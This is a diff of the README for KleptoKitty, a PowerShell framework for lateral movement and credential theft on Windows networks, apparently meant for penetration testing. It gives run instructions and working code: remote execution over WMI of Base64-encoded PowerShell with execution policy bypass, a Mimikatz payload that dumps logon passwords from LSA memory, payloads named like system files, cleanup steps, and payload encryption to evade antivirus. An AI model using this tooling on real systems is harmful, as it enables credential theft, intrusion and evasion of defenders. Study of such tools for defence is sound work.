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 # KleptoKitty
 
-Invoke-KleptoKitty - Deploys payloads and collects credentials
+KleptoKitty - Deploys payloads and collects credentials.
+
+## Introduction
+
+KleptoKitty, the twin sister of HardeningKitty is a PowerShell based framework for lateral movement attacks in a Windows infrastructure. The development started in October 2019 after inspiration of the cypherpunk and hacker [Tinker](https://twitter.com/TinkerSec). Payloads include Invoke-Mimikatz from [Empire](https://github.com/BC-SECURITY/Empire) by [BC Security](https://www.bc-security.org/blog), [Mimikatz](https://github.com/gentilkiwi/mimikatz) by [Benjamin Delpy](https://twitter.com/gentilkiwi) and [PPLKiller](https://github.com/RedCursorSecurityConsulting/PPLKiller) by [Red Cursor](https://www.redcursor.com.au/).
+
+Standard Windows components are used for file transfer and remote command execution. Most functions are controlled by PowerShell. By default, files are copied to the target system via SMB/Admin shares. For remote execution of commands, Windows Management Instrumentation (WMI), PsExec or Windows Remote Management (WinRM)can be used. The goal is to get local credentials (SAM) and credentials of active accounts in Windows LSA memory.
+
+There is a [scip Labs article about KleptoKitty](https://www.scip.ch/en/?labs.20200917). This README is largely based on the Labs article, but will be adapted in the future according to development of KleptoKitty.
 
 ## How to run
 
+Download KleptoKitty and copy it to the target system. The payloads have to be built by yourself. If unencrypted payloads are used, there is a risk that scripts such as Invoke-Mimikatz could be detected by anti-virus software. KleptoKitty does not need administrative privileges to run. But for running KleptoKitty on the target system administrative rights are required. The credentials are requested at the beginning of the script.
+
 ```powershell
-PS C:\> Import-Module -Force .\Invoke-KleptoKitty.ps1                                                                                                                    PS C:\> Invoke-KleptoKitty -ComputerName 192.168.244.130 -CredentialAccess SqlDumper                                                                                     
+PS C:\> Import-Module -Force .\Invoke-KleptoKitty.ps1
+PS C:\> Invoke-KleptoKitty -ComputerName 192.168.244.130 -CredentialAccess SqlDumper
 
       =^._.^=
      _(      )/  KleptoKitty
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 [*] 8/7/2020 8:46:14 AM - Delete drive
 [*] 8/7/2020 8:46:14 AM - 192.168.244.130 done
 [*] 8/7/2020 8:46:14 AM - KleptoKitty is done
-```
+```
+
+## "Hello" World with KleptoKitty
+
+The payload _Demo_ is a good example to explain the functionality of KleptoKitty. The payload is copied to the target and executed there. The payload leaves a log entry in the newly created file under _C:\Windows\kleptokitty.log_:
+
+```powershell
+$ProtocolPath = "C:\Windows\kleptokitty.log"
+$Time = Get-Date -Format G
+$Message = "$Time - KleptoKitty was here."
+Add-Content -Path $ProtocolPath -Value $Message
+```
+
+For the payload _Demo_, only a file needs to be copied and executed on target. It is not necessary to extract a log file. The name of the payload is generated randomly at runtime for each target system. It is intended to give a harmless impression by using names of Windows system files. In the first step, the payload is copied. If this fails, further execution will be stopped. The payload is then executed and afterwards deleted from the system:
+
+```powershell
+# Copy Payload
+Write-ProtocolEntry -Text "Copy payload $TargetPayloadName to $Hostname" -LogLevel "Info"
+$ResultCopyPayload = Copy-Payload -Source $PayloadPathCredentialAccess -Destination $TargetPayloadPath
+If (-not($ResultCopyPayload)) { Continue }
+
+# Execute Payload
+Write-ProtocolEntry -Text "Execute payload on $Hostname" -LogLevel "Info"
+$PayloadCommandCredentialAccess = "$TargetPayloadLocalPath"
+$ResultExecutePayload = Execute-Payload -PayloadCommand $PayloadCommandCredentialAccess
+If ($ResultExecutePayload) {
+    Write-ProtocolEntry -Text "Payload $PayloadCredentialAccess executed." -LogLevel "Success"
+}
+
+# House Cleaning
+Write-ProtocolEntry -Text "Delete payload on $Hostname" -LogLevel "Info"
+Delete-File -File $TargetPayloadPath
+```
+
+The remote command execution is done using WMI. A new process is created and powershell.exe is started. Optionally, the arguments of the payload can be encoded with Base64 and thus disguised. However, if PowerShell Script Block Logging is enabled, the execution call is stored decoded in the event log. Additionally, the use of Base64 encoding might be an indicator for a malicious action. The use of this obfuscation is optional and can be controlled when the function is called.
+
+```powershell
+Code $PayloadCommandEncoded = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($PayloadCommand))
+$ArgumentList = "powershell.exe -Exec Bypass -Enc $PayloadCommandEncoded"
+
+try {
+    $WmiExec = Invoke-WmiMethod -Class "win32_process" -Name "create" -ArgumentList $ArgumentList -ComputerName $Hostname -Credential $AdminCredential -ErrorAction Stop
+} catch {
+    $ErrorReason = $_.Exception.Message
+    Write-ProtocolEntry -Text "WMI connection to $Hostname failed. Reason: $ErrorReason" -LogLevel "Error"
+    Write-ProtocolEntry -Text "$Hostname done" -LogLevel "Error"
+    $ReturnCode = $false 
+}
+```
+
+Once the payload has been started on the target system, the process can only be monitored indirectly. Therefore, if a log file is written and should be copied back, it is worth waiting a while before taking further steps.
+
+## Structure of a Payload
+
+The following example is based on a payload with Invoke-Mimikatz. The Invoke-Mimikatz function itself is copied to the payload. This is followed by the definition of a log file for the Mimikatz log file. The name of the log file must be known to KleptoKitty, otherwise the log file cannot be extracted. Then the Mimikatz statements to be executed are defined. In the following example the credentials of active users on the system are dumped from memory:
+
+```powershell
+Function FormerlyKnownAsMimikatz {
+    # <add the script here>
+}
+
+# Log
+$TargetBasePath = "Windows"
+$TargetLogName = "de-ch.log"
+$TargetLogLocalPath = "C:\$TargetBasePath\$TargetLogName"
+
+# Run Payload
+FormerlyKnownAsMimikatz -Command """log $TargetLogLocalPath"" privilege::debug sekurlsa::logonpasswords"
+```
+
+The payload itself can also be encoded with Base64 or encrypted with Rijndael. For the encryption, a script based on an [example implementation by Kae Travis](https://www.alkanesolutions.co.uk/2015/05/20/rijndael-encryption-and-decryption-in-c-and-powershell/) is used. The encoding or encryption disguises the payload, so that it can escape detection by a virus scanner. However, the decoding/decryption process is done at runtime. Virus scanners with support for Microsoft AMSI can therefore scan the unprotected version of the payload.